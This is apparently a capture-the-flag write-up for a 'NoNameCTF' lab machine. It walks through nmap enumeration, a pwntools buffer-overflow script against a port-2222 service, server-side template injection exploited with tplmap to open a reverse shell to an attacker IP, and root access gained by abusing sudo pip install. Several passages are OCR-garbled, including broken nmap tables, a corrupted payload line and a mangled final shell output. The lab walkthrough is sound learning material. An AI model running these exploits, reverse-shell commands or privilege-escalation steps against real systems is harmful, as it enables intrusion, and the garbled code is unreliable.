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Enumeration

```
nmap -sCV -oN nmap/NoNameCTF <ip>
```

Result

```
Nmap scan report for 10.10.107.235
Host is up (0.36s latency).
Not shown: 992 closed tcp ports (conn-refused)
       STATE
                  SERVICE
                              VERSION
P0RT
22/tcp
                                 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu
        open
                  ssh
Linux; protocol 2.0)
| ssh-hostkey:
   2048 12:57:3f:cc:86:39:04:3b:f0:e6:46:bf:72:51:64:0b (RSA)
   256 81:05:75:ad:78:83:62:b2:06:41:5b:e5:a5:a9:82:4d (ECDSA)
  256 Of:8d:0e:19:e9:c7:cc:14:39:e9:34:60:5c:f7:aa:fe (ED25519)
80/tcp
         open
                  http
                                Apache httpd 2.4.18 ((Ubuntu))
| http-title: Site doesn't have a title (text/html).
| http-server-header: Apache/2.4.18 (Ubuntu)
146/tcp filtered iso-tp0
2222/tcp open
                 EtherNetIP-1?
| fingerprint-strings:
   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, NULL, RPCCheck,
SSLSessionReg:
     Welcome to the NoNameCTF!
     Choose an action:
     regiser: 1
     login: 2
     get secret directory: 3
      store your buffer: 4
   GetRequest, HTTPOptions, Help, RTSPRequest:
     Welcome to the NoNameCTF!
     Choose an action:
      regiser: 1
     login: 2
     get_secret_directory: 3
      store your buffer: 4
     Wrong option
```

```
Good bye
6666/tcp filtered irc
8652/tcp filtered unknown
9090/tcp open
                   http
                                Tornado httpd 6.0.3
| http-title: Site doesn't have a title (text/plain).
| http-server-header: TornadoServer/6.0.3
49175/tcp filtered unknown
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2222-TCP:V=7.92%I=7%D=11/8%Time=618932E7%P=x86 64-pc-linux-gnu%r(NU
SF:LL, 7B, "Welcome\x20to\x20the\x20NoNameCTF!\r\nChoose\x20an\x20action:\r\
<SNIP>
\n>\x20\log in:\x202\r\n>\x20get secret directory:\x203\r\n>\x20store
SF: your buffer:\x204\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
```

We got 4 open ports, 22,80,2222,9090. Let's take a look at it one by one. First, nothing special about port 22. Next, port 80 is running website, must be there for a reason. Third, Port 2222 looks like running a unknown service, leave it first. Last, port 9090 running website using Tornado with version 6.0.3.

Port 80

Looking at port 80 website's source code, we found a potential hint. Looks like hinting about buffer overflow.

Port 2222

Looking at port 2222, we can try connect to it via netcat:

```
nc <ip> 2222
```

Looks like it is providing some services. The **get_secret_directory** looks interesting but it was prompting us to login before using that service. We will come back to this later.

```
$ nc 10.10.107.235 2222
Welcome to the NoNameCTF!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
3
Please login first!
Choose an action:
> regiser: 1
> login: 2
> get_secret_directory: 3
> store_your_buffer: 4
```

Port 9090

Upon browsing to port 9090 website, we've encountered an error.

```
Traceback (most recent call last):
    File "/home/zeldris/.local/lib/python3.5/site-packages/tornado/web.py", line 1676, in _execute
    result = self.prepare()
    File "/home/zeldris/.local/lib/python3.5/site-packages/tornado/web.py", line 2431, in prepare
    raise HTTPError(self._status_code)
tornado.web.HTTPError: HTTP 404: Not Found
```

For now we have gathered some initial information about each open ports. Let's do a quick summarize, port 80 source code indicating we might need to do buffer overflow, since buffer overflow less likely will be happen in websites, let's now focus on port 2222.

Exploiting port 2222

Based on the port 80 source code hint given, we can guess that vulnerable point was **store_your_buffer** functionality and the amount of buffer to overflow it most likely will be greater than 1000. After interacting a while with it, the flow to exploit it to get secret directory probably is:

```
Register an account -> Login -> Buffer Overflow on store_your_buffer -> get_secret_directory
```

I have wrote a script to automate this process:

```
#!/usr/bin/env python3

from pwn import *
import argparse
import pdb

parser = argparse.ArgumentParser(description="BOF Exploit")
parser.add_argument("host", help="The host IP address")
parser.add_argument("port", help="The host port")
```

```
args=parser.parse_args()
# Connection
target = remote(args.host, args.port)
# Registration
print("[+] Default hardcoded credential: anonymous:anonymous123")
print("[+] Registering using default hardcoded credential")
target.recvuntil(b"store your buffer: 4")
target.sendline(b'1')
target.recvuntil(b'Enter an username:')
target.sendline(b'anonymous')
target.recvuntil(b'Enter a password:')
target.sendline(b'anonymous123')
# Login
print("[+] Loging using registered credential")
target.recvuntil(b"store your buffer: 4")
target.sendline(b'2')
target.recvuntil(b'Username:')
target.sendline(b'anonymous')
target.recvuntil(b'Password:')
target.sendline(b'anonymous123')
# B0F
print("[+] Buffer Overflowing 'store your buffer' functionality")
target.recvuntil(b"store your buffer: 4")
target.sendline(b'4')
target.recvuntil(b'Enter your buffer:')
buffer = b^A^*1500
target.sendline(buffer)
# Get secret
print("[+] Getting secret directory")
target.recvuntil(b'store_your buffer: 4\r\n')
target.sendline(b'3')
print("[*] Success !!!\n")
print(target.recvline().decode("utf-8"))
```

Basically the script follows the flow i mentioned above and overflow the vulnerable functionality with 1500 bytes. We just need to supply the machine IP and port to execute this exploit.

```
$ python exploit.py 10.10.107.235 2222
[+] Opening connection to 10.10.107.235 on port 2222: Done
```

```
[+] Default hardcoded credential: anonymous:anonymous123
[+] Registering using default hardcoded credential
[+] Loging using registered credential
[+] Buffer Overflowing 'store_your_buffer' functionality
[+] Getting secret directory
[*] Success !!!

My secret in the port 9090 is: /xxxxx

[*] Closed connection to 10.10.107.235 port 2222
```

Yay! Now we got the secret directory.

Initial Foothold

Let's browse to port 9090 website with the secret directory:

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Nothing interesting, how about the source code?

```
hers.<!-- ?hackme= --></div></section>
```

Yes! We got a parameter hidden in source code. After some testing, looks like it was vulnerable to Server Side Template Injection (SSTI):

```
http://10.10.107.235:9090/xxxxx/?hackme={{7*7}}
```

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Without further ado, let's spawn a reverse shell using **tplmap**:

Notes: If you have problem installing tplmap, take this: solution, you're welcome

```
python2 tplmap.py -u http://10.10.107.235:9090/xxxxx/?hackme= --reverse-shell 10.13.28.126 4567
```

Setup netcat to listen on certain port:

```
nc -lvnp 4567
```

Execute the tplmap's command and BOOM! Reverse shell achieved!

Privilege Escalation

Classic <3 - GTFOBins

sudo -l

```
zeldris@ubuntu:~/nonamectf/ssti$ sudo -l vilege Escalation
Matching Defaults entries for zeldris on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin

User zeldris may run the following commands on ubuntu:
    (ALL : ALL) ALL
    (root : root) NOPASSWD: /usr/bin/pip install *
zeldris@ubuntu:~/nonamectf/ssti$
```

Exploit

```
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty)')" > $TF/setup.py
sudo /usr/bin/pip install $TF
```

Rooted!

```
zeldris@ubuntu:~/nonamectf/ssti$ sudo /usr/bin/pip install $TF
The directory '/home/zeldris/.cache/pip/http' or its parent directory is not owned by the current user and the cache h as been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want s udo's -H flag.
The directory '/home/zeldris/.cache/pip' or its parent directory is not owned by the current user and caching wheels h as been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Processing /tmp/tmp.HqEzfPaKo0
# id
uid=0(root) gid=0(root) groups=0(root) root) root in the provileged access.
# intain provileged access.
```

To whoever reading this till here, thank you so much and have a nice day!